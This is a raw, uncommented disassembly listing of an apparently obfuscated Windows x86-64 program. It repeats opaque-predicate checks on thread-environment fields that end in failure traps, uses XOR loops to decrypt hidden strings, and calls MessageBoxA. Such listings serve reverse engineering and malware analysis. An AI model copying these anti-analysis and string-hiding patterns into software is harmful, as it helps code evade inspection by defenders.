mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x49cd3990
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d962
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d962
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d982
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
movdqa xmm0, xmmword [0x1401032c0]
movdqu xmmword [rbp + 0xbc8], xmm0
movdqa xmm1, xmmword [0x140103310]
movdqu xmmword [rbp + 0xbd8], xmm1
mov dword [rbp + 0xbe8], 0xaabdd651
mov dword [rbp + 0xbec], 0xf742fc8d
mov dword [rbp + 0xbf0], 0x589427f9
xor eax, eax
mov byte [rbp + 0xbf4], al
mov rdi, r14
mov r12d, 0xf2601420
mov qword [rsp + 0x20], r12
mov r9d, Ordinal_46
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbc8]
lea rcx, [rbp + 0xbc8]
call fcn.14003b810
xor al, dil
mov byte [rbp + rdi + 0xbc8], al
inc rdi
cmp rdi, 0x2c
jb 0x14002d9d1
mov byte [rbp + 0xbf4], r14b
lea rdx, [rbp + 0xbc8]
lea rcx, [rbp + 0x1188]
call fcn.14001b0a8
mov rax, qword gs:[0x50]
cmp rax, r13
mov r12d, 0x109b63cf
jne 0x14002dacf
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002daaf
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002daaf
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002dacf
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002db79
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002db59
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002db59
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002db79
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
lea rcx, [rbp + 0x9f8]
call fcn.14002c008
mov rdi, rax
lea rcx, [rsp + 0x60]
call fcn.14001b1b8
mov qword [rsp + 0x20], rax
mov r9d, 8
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0x1208]
call fcn.14003c8c8
lea rcx, [rbp + 0x9f8]
call fcn.14003c804
lea rcx, [rbp + 0x9f8]
call fcn.14001b6c8
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002dc82
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x49cd3990
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002dc62
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002dc62
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002dc82
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002dd3d
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x49cd3990
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002dd1d
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002dd1d
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002dd3d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov dword [rbp - 0x68], 0x405fd333
mov word [rbp - 0x64], 0xc136
xor eax, eax
mov byte [rbp - 0x62], al
mov rdi, r14
mov r12d, 0xf2601420
mov qword [rsp + 0x20], r12
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x68]
lea rcx, [rbp - 0x68]
call fcn.14003b7a4
xor al, dil
mov byte [rbp + rdi - 0x68], al
inc rdi
cmp rdi, 6
jb 0x14002dd58
mov byte [rbp - 0x62], r14b
mov dword [rbp - 0x58], 0x405fc12a
mov word [rbp - 0x54], 0xc136
xor eax, eax
mov byte [rbp - 0x52], al
mov rdi, r14
mov rsi, r12
mov r12d, 0x109b63cf
mov qword [rsp + 0x20], rsi
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x58]
lea rcx, [rbp - 0x58]
call fcn.14003b7a4
xor al, dil
mov byte [rbp + rdi - 0x58], al
inc rdi
cmp rdi, 6
jb 0x14002dda5
mov byte [rbp - 0x52], r14b
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x1188]
lea rcx, [rbp + 0xa38]
call fcn.14003cb38
lea rdx, [rbp + 0x1208]
mov rcx, rax
call fcn.14003c510
mov rdx, rax
lea rcx, [rbp + 0xa58]
call fcn.14003c664
lea rcx, [rbp - 0x68]
call fcn.14001b210
mov rcx, rax
call fcn.14001b1b8
mov r8, rax
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0xa58]
call fcn.14003c350
mov rdx, rax
lea rcx, [rbp + 0xa78]
call fcn.14003c664
lea rdx, [0x140132980]
lea rcx, [rbp + 0xa78]
call fcn.14003c510
mov rdx, rax
lea rcx, [rbp + 0x11e8]
call fcn.14003c664
lea rcx, [rbp + 0xa78]
call fcn.14003c804
lea rcx, [rbp + 0xa78]
call fcn.14001b6c8
lea rcx, [rbp + 0xa58]
call fcn.14003c804
lea rcx, [rbp + 0xa58]
call fcn.14001b6c8
lea rcx, [rbp + 0xa38]
call fcn.14003c804
lea rcx, [rbp + 0xa38]
call fcn.14001b6c8
mov rax, qword gs:[0x50]
cmp rax, r13
movabs rsi, 0xf02c856a42fbcf00
jne 0x14002df5a
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002df3a
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002df3a
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002df5a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002e004
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002dfe4
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002dfe4
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002e004
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
lea rcx, [rbp + 0x1208]
call fcn.14003c178
xor edx, edx
lea r8d, [rdx + 0xa]
mov rcx, rax
call fcn.1400a25a0
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002e0d9
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x49cd3990
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002e0b9
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002e0b9
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002e0d9
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002e183
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002e163
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002e163
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002e183
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
nop
mov dl, byte [rsp + 0x60]
lea rcx, [rbp + 0x10e8]
call fcn.14001b160
lea rcx, [rbp + 0x10e8]
call fcn.14003c8a0
nop
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002e24a
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002e22a
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002e22a
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002e24a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002e305
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x49cd3990
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002e2e5
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002e2e5
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002e305
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
lea rcx, [rbp + 0x11e8]
call fcn.14003c178
mov r9b, 1
xor r8d, r8d
lea rdx, [rbp + 0x10e8]
mov rcx, rax
call fcn.14002bb78
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002e3d0
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002e3b0
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002e3b0
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002e3d0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov dword [rbp + 0x1e0], 0x8067ad03
mov dword [rbp + 0x1e4], 0x1a8f15fc
mov dword [rbp + 0x1e8], 0x74101dbf
xor eax, eax
mov byte [rbp + 0x1ec], al
mov rdi, r14
mov esi, 0xf2601420
mov qword [rsp + 0x20], rsi
mov r9d, recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1e0]
lea rcx, [rbp + 0x1e0]
call fcn.14003b734
xor al, dil
mov byte [rbp + rdi + 0x1e0], al
inc rdi
cmp rdi, 0xc
jb 0x14002e3fe
mov byte [rbp + 0x1ec], r14b
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x10e8]
call fcn.14003ce54
test al, al
movabs rsi, 0xf02c856a42fbcf00
je 0x14002e9cc
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002e508
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002e4e8
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002e4e8
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002e508
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
movdqa xmm0, xmmword [0x140103200]
movdqu xmmword [rbp + 0x7b8], xmm0
mov dword [rbp + 0x7c8], 0xf5f42571
mov word [rbp + 0x7cc], 0x6cd8
xor eax, eax
mov byte [rbp + 0x7ce], al
mov rdi, r14
mov r12d, 0xf2601420
mov qword [rsp + 0x20], r12
mov r9d, reloc.WLDAP32.dll_Ordinal_22
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7b8]
lea rcx, [rbp + 0x7b8]
call fcn.14003b658
xor al, dil
mov byte [rbp + rdi + 0x7b8], al
inc rdi
cmp rdi, 0x16
jb 0x14002e53c
mov byte [rbp + 0x7ce], r14b
movdqa xmm0, xmmword [0x140103160]
movdqa xmmword [rbp + 0xd60], xmm0
movdqa xmm1, xmmword [0x140103210]
movdqa xmmword [rbp + 0xd70], xmm1
movdqa xmm0, xmmword [0x140103260]
movdqa xmmword [rbp + 0xd80], xmm0
movdqa xmm1, xmmword [0x140103320]
movdqa xmmword [rbp + 0xd90], xmm1
movdqa xmm0, xmmword [0x140103220]
movdqa xmmword [rbp + 0xda0], xmm0
movdqa xmm1, xmmword [0x140103170]
movdqa xmmword [rbp + 0xdb0], xmm1
movdqa xmm0, xmmword [0x140103130]
movdqa xmmword [rbp + 0xdc0], xmm0
movdqa xmm1, xmmword [0x140103120]
movdqa xmmword [rbp + 0xdd0], xmm1
mov dword [rbp + 0xde0], 0x1e99f1f2
mov word [rbp + 0xde4], 0xb6df
xor eax, eax
mov byte [rbp + 0xde6], al
mov rdi, r14
mov rsi, r12
mov r12d, 0x109b63cf
mov qword [rsp + 0x20], rsi
mov r9d, 0x86
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd60]
lea rcx, [rbp + 0xd60]
call fcn.14003b6c4
xor al, dil
mov byte [rbp + rdi + 0xd60], al
inc rdi
cmp rdi, 0x86
jb 0x14002e61e
mov byte [rbp + 0xde6], r14b
mov r9d, 4
lea r8, [rbp + 0x7b8]
lea rdx, [rbp + 0xd60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edi, eax
mov rcx, qword gs:[0x50]
cmp rcx, r13
movabs rsi, 0xf02c856a42fbcf00
jne 0x14002e72e
mov rcx, qword gs:[0x10]
xor rcx, r12
mov qword [rbp + 0xf30], rcx
mov rcx, qword gs:[0x10]
xor rcx, r12
mov qword [rbp + 0xf38], rcx
mov rcx, qword gs:[0x10]
xor rcx, r12
mov qword [rbp + 0xf40], rcx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002e70e
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002e70e
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002e72e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002e7e9
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x49cd3990
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002e7c9
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002e7c9
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002e7e9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
cmp edi, 7
je 0x14003b3e3
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002e89c
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002e87c
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002e87c
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002e89c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400a1678
int3
movdqa xmm0, xmmword [0x1401031b0]
movdqu xmmword [rbp + 0xc28], xmm0
movdqa xmm1, xmmword [0x140103010]
movdqu xmmword [rbp + 0xc38], xmm1
movdqa xmm0, xmmword [0x140102fb0]
movdqu xmmword [rbp + 0xc48], xmm0
mov rdi, r14
mov r12d, 0xf2601420
mov qword [rsp + 0x20], r12
mov r9d, Ordinal_50
mov r8, rdi
mov dl, byte [rbp + rdi + 0xc28]
lea rcx, [rbp + 0xc28]
call fcn.14003b5ec
xor al, dil
mov byte [rbp + rdi + 0xc28], al
inc rdi
cmp rdi, 0x2f
jb 0x14002e8d5
mov byte [rbp + 0xc57], r14b
lea rcx, [rbp + 0xc28]
call fcn.1400a5acc
mov rax, qword gs:[0x50]
cmp rax, r13
mov r12d, 0x109b63cf
jne 0x14002e9cc
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002e9ac
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002e9ac
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002e9cc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
mov edi, 0x49cd3990
cmp rax, r13
jne 0x14002ea89
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ea69
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ea69
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ea89
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
lea rdx, [rbp + 0x10e8]
lea rcx, [rbp + 0xa98]
call fcn.14003c6c0
mov rdx, rax
lea rcx, [rbp + 0xab8]
call fcn.14002c150
mov rdx, rax
lea rcx, [rbp + 0x10e8]
call fcn.14003c59c
lea rcx, [rbp + 0xab8]
call fcn.14003c804
lea rcx, [rbp + 0xab8]
call fcn.14001b6c8
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002eb7c
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002eb5c
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002eb5c
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002eb7c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002ec35
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ec15
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ec15
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ec35
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
xor edx, edx
lea rcx, [rbp + 0x1188]
call fcn.14003c874
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002eced
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002eccd
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002eccd
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002eced
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002eda6
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ed86
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ed86
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002eda6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rcx, qword [rbp + 0x10f8]
call fcn.1400a5f3c
mov rbx, rax
mov qword [rbp - 0x40], rax
mov rcx, qword gs:[0x50]
cmp rcx, r13
jne 0x14002ee74
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x145cd41f
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ee54
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ee54
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ee74
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002ef1e
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002eefe
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002eefe
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ef1e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov r15, qword [rbp + 0x10f8]
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002efcf
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002efaf
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002efaf
mov rcx, qword gs:[0x10]
